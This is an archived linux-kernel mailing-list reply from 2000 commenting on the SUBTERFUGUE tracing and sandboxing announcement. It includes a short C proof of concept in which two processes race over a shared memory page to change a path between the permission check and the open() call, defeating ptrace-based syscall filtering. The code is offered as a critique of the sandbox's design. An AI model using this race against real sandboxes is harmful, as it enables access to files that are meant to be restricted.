From: Pavel Machek <pavel@suse.cz>
To: Mike Coleman <mkc@kc.net>, linux-kernel@vger.rutgers.edu
Subject: Re: [ANNOUNCE] SUBTERFUGUE 0.0
Date: Mon, 7 Feb 2000 21:58:56 +0100 [thread overview]
Message-ID: <20000207215856.B364@bug.ucw.cz> (raw)
In-Reply-To: <m12HhOU-000WVvC@microdog>; from Mike Coleman on Mon, Feb 07, 2000 at 12:11:30AM -0600
[-- Attachment #1: Type: text/plain, Size: 1466 bytes --]
Hi!
> I'm pleased to announce the first public release of SUBTERFUGUE. Below is a
> brief description from the README.
I'll take a look (really, I'm doing something pretty close as my
diploma thesis). Meanwhile: take a look at this program. It is _very_
nasty, and I guess it is able to bypass your protection (Imagine you
want to restrict access to /heslo, but leave access to /reklama open.)
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
void
main(void)
{
char *c = 0x94000000;
open( "/tmp/delme", O_RDWR );
mmap( c, 4096, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_SHARED, 3, 0 );
*c = 0;
if (fork()) {
while(1) {
strcpy( c, "/reklama" );
strcpy( c, "/heslo" );
}
} else
while (1)
open( c, 0 );
}
> SUBTERFUGUE is a framework for observing and playing with the reality of
> software; it's a foundation for building tools to do tracing, sandboxing, and
> many other things. You could think of it as "strace meets expect."
When I was faced with this task, I added ability to strace to ask if
it should do syscalls. Patch is rather small and attached. If there's
enough interest, I might even be able to push -y option into standart
distribution.
Pavel
--
I'm pavel@ucw.cz. "In my country we have almost anarchy and I don't care."
Panos Katsaloulis describing me w.r.t. patents me at discuss@linmodems.org
[-- Attachment #2: strace.main.diff#gz --]
[-- Type: application/octet-stream, Size: 1998 bytes --]
parent reply other threads:[~2000-02-07 17:12 UTC|newest]
Thread overview: expand[flat|nested] mbox.gz Atom feed
[parent not found: <m12HhOU-000WVvC@microdog>]
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=20000207215856.B364@bug.ucw.cz \
--to=pavel@suse.cz \
--cc=linux-kernel@vger.rutgers.edu \
--cc=mkc@kc.net \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox